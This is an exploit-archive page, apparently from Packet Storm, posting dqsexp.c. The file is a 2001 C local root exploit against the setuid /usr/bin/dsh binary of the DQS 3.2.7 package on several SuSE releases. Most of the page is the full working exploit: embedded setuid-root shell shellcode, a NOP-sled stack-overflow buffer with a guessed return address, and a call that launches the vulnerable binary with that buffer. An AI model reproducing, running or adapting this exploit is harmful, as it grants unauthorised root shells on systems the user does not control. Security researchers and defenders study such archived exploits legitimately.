exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dqsexp.c

dqsexp.c
Posted May 21, 2001
Authored by Dex | Site raza-mexicana.org

DQS package v3.2.7 (/usr/bin/dsh) local root exploit. Tested against SuSE 6.3, 6.4, and 7.0.

tags | exploit, local, root
systems | linux, suse
SHA-256 | dc781082f966e7e84fd45bc05a9af244e12da062b9438a7c4ce05fe3639b7a91

dqsexp.c

Change Mirror Download
/* - dqsexp.c - */
/********************************************************************/
/* /usr/bin/dsh(dqs 3.2.7 package) local root exploit. */
/* SuSE 6.3, 6.4, and 7.0 are vunerable. */
/* dex@raza-mexicana.org <> http://www.raza-mexicana.org */
/* Saludos: dr_fdisk^, yield, vlad, deadsector, trovalz, fatal, */
/* megaflop y a todo raza. que weba escribirlos todos XD. */
/* En especial saludos al espa~olete(NOP) :P, ya sabes porque. */
/* */
/* - dex@raza-mexicana.org <> http://www.raza-mexicana.org - */
/********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFSIZE 2772
#define OFFSET 0
#define ALIGN 0

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

static char code[]= /* stolen from mount.c :P */

"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe3\xff\xff\xff" /* call start */
"\x2f\x62\x69\x6e\x2f\x73\x68";


void main(int argc, char **argv) {

int i;
unsigned long addr;

char *buffer;

int offset=OFFSET;
int buffsize=BUFFSIZE;
int align=ALIGN;

if (argc > 1 ) offset = atoi(argv[1]);
if (argc > 2 ) align = atoi(argv[2]);
if (argc > 3 ) buffsize = atoi(argv[3]);

buffer = (char *)malloc(buffsize + 8);

addr = get_sp() - offset;

for(i = 0; i < buffsize; i += 4) {
*(long *)&buffer[i] = 0x90909090;
}

*(long *)&buffer[buffsize - 8] = addr;
*(long *)&buffer[buffsize - 4] = addr;

memcpy(buffer + buffsize - 8 - strlen(code) - align, code, strlen(code));

printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
printf("[*] /usr/bin/dsh(dqs 3.2.7 package) local root exploit.\n");
printf("[*] - dex@raza-mexicana.org <> http://www.raza-mexicana.org - \n");
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

printf("[*] Address=0x%x, Align=%d, Offset=%d\n", addr, align, offset);
printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
printf("[*] Starting....\n");

execl("/usr/bin/dsh", "dsh", buffer, "/etc/motd", NULL);
}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close